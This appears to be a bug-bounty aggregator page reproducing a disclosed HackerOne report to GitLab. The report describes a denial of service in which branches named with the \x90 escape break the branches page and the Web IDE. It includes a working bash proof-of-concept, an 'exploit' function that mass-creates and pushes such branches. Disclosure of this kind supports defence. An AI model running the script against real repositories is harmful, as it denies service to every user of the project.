Skip to content
DoS Disclosed report Intermediate

The "\xH" notation in the branch name makes the page “/-/branches” not available to everyone.

A developer can push a branch whose name contains the hexadecimal escape sequence \x90, causing the /-/branches page to become unavailable for all users and the Web IDE to fail when loading branches. The attacker can repeat this to create many such branches, amplifying the denial of service.

GitLab

Originally disclosed on GitLab

  • Fixed in 21 months
  • Disclosed after 21 months

HackerOne report #1046666 by stanlyoncm on 2020-11-29, assigned to @ngeorge1:

Report | Attachments | How To Reproduce

Report

==Report in Spanish:==

Summary

Un desarrollador que empuja cualquier rama con un nombre que contenga la notación hexadecimal \xH, por ejemplo \x90, es capaz de hacer que la pagina en /-/branches no este disponible para todos los usuarios, dando como resultado una perdida de disponibilidad en este componente.

Otro componente afectado por esta vulnerabilidad es el Web IDE, si bien es cierto que se puede acceder a esta característica, usted no podrá trabajar con normalidad, ya que, al intentar seleccionar algunas de las ramas del proyecto recibiera el siguiente mensaje por parte del servidor “Error al cargar ramas \ inténtelo de nuevo”

Para llevar a cabo este ataque el atacante solo debe crear una rama con el nombre \x90, hacer una confirmación y empujar la rama. Sin embargo he desarrollado un pequeño script en bash que además crea ramas con este nombre de forma recursiva.
 

Translated by Google

A developer who pushes any branch with a name that contains the hexadecimal notation \ xH, for example \ x90, is able to make the page in / - / branches not available to all users, resulting in a loss of availability in this component. Another component affected by this vulnerability is the Web IDE, although it is true that this feature can be accessed, you will not be able to work normally, since, when trying to select some of the project branches, you will receive the following message from the server "Failed to load branches \ try again" To carry out this attack, the attacker only has to create a branch with the name \ x90, make a confirmation and push the branch. However, I have developed a small bash script that also recursively creates branches with this name.  

Steps to reproduce

[Preparación]

1) Ingrese a Gitlab.com

2) Cree un proyecto nuevo.

3) Invite un nuevo miembro con permisos de desarrollador.

   
[Flujo del ataque] (miembro invitado con permisos de desarrollador)

1) Clone e ingrese al proyecto.

2) Establezca su configuración de username e email. (git config --global user.name ‘username’)...

3) Copie las siguientes líneas escritas en bash y péguelas en su archivo ~/.bashrc:

Translated by Google

  1. Go to Gitlab.com
  2. Create a new project.
  3. Invite a new member with developer permissions.

[Attack flow] (guest member with developer permissions)

  1. Clone and enter the project.
  2. Set your username and email settings. (git config --global user.name 'username') ...
  3. Copy the following lines written in bash and paste them into your ~ / .bashrc file:
Bash
###  Copy and Paste in ~/.bashrc  
###  You must run this script from a terminal with the bash interpreter

function createStoreDir(){  
  nops_dir=$(mktemp -d)  
}

function genNop(){  
  branchName=\\x90  
  nop=  
  limitNops=$1  
  for name in $(seq 1 $limitNops);do  
    nop+=\\x90  
    echo $nop  
  done  
}

function createBranches(){  
  for line in $(cat $nops_dir/nops_$1.txt);do  
     git checkout -b $(echo -e $line)  
     echo 'DoS' > DoS  
     git add .  
     git commit -m 'DoS'  
  done  
}

function pushBranches(){  
  for branch in $(cat $nops_dir/nops_$1.txt);do  
    (git push origin $(echo -e $branch) &)  
  done  
}

function main(){  
  args=$1  
  createStoreDir

  if [ -d "./.git" ];then  
    for arg in ${args[@]};do  
      genNop $arg > $nops_dir/nops_$arg.txt  
      createBranches $arg  
      pushBranches $arg  
    done  
  else  
   echo "No Git folder"  
  fi  
}

function exploit(){  
  main $1 &>/dev/null  
}

4) Desde una terminal y con el interprete de bash ejecute el comando exec bash para refrescar el archivo.

5) Ahora estando dentro de la carpeta del proyecto que ha clonado ejecute la función exploit 1

Con esto es suficiente para que la pagina de /-/branches no este disponible para todos los usuarios, además de afectar también el funcionamiento de Web IDE. Cabe destacar que el script esta preparado para efectuar esta misma operación de forma recursiva, si usted ejecuta por ejemplo exploit 5 estaría empujando cinco ramas con el carácter hexadecimal \x90 quedando ``branch1=\x90 branch2=\x90\x90 branch3=\x90\x90\x90..., y así sucesivamente dependiendo del valor del argumento de la funciónexploit $1`, causaría el mismo daño solo que con mas ramas.

Resultado : https://gitlab.com/user_V/pocdos/-/branches

Translated by Google

__4) __ From a terminal and with the bash interpreter, execute the command exec bash to refresh the file.

__5) __ Now being inside the folder of the project that you have cloned, execute the function exploit 1

This is enough so that the / - / branches page is not available to all users, as well as affecting the operation of Web IDE. It should be noted that the script is prepared to perform this same operation recursively, if you execute for example exploit 5 you would be pushing five branches with the hexadecimal character \ x90 leaving `` branch1 = \ x90 branch2 = \ x90 \ x90 branch3 = \ x90 \ x90 \ x90 ..., and so on depending on the value of the argument of the exploit $ 1` function, it would cause the same damage only as with more branches.    

What is the current bug behavior?

Después de empujar una rama con el nombre de \x90, la ruta /-/branches no estará disponible para todos los usuarios, además Web IDE no funciona correctamente.

After pushing a branch with the name of \ x90, the path / - / branches will not be available to all users, also Web IDE does not work properly.    

What is the expected correct behavior?

La aplicación no debería decodificar estos caracteres. (\x90)

The application should not decode these characters. (\ x90)    

Relevant logs and/or screenshots
screen1.png
screen1.png From the original on GitLab
screen2.png
screen2.png

 

Poc Video:

poc.mp4 From the original on GitLab
Output of checks

This bug happens on GitLab.com
   

Impact

Todos los usuarios no podrán acceder /-/branches y tendrán problemas para utilizar la función de Web IDE a través de gitlab.com

All users will not be able to access / - / branches and will have trouble using the Web IDE function via gitlab.com

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application decodes the hexadecimal escape sequence in branch names without proper validation, leading to an error that breaks the branch listing page.

Impact

All users are unable to access the /-/branches page and have trouble using the Web IDE function via gitlab.com.

What the attacker needed

A GitLab.com account; developer permissions on a project

How it was found

  1. Go to GitLab.com and create a new project.
  2. Invite a new member with developer permissions.
  3. As the invited member, clone the project and set git username and email.
  4. Add the provided bash functions to ~/.bashrc and refresh the shell.
  5. Run the exploit function from inside the cloned project to create and push branches with names containing \x90.
  6. Observe that the /-/branches page is no longer available and the Web IDE fails to load branches.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A branch is a separate line of development in a code repository. By giving a branch a name that includes a special character sequence, the attacker makes the web page that lists branches crash or fail to load for everyone. This is a denial-of-service attack: it stops other people from using part of the service.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.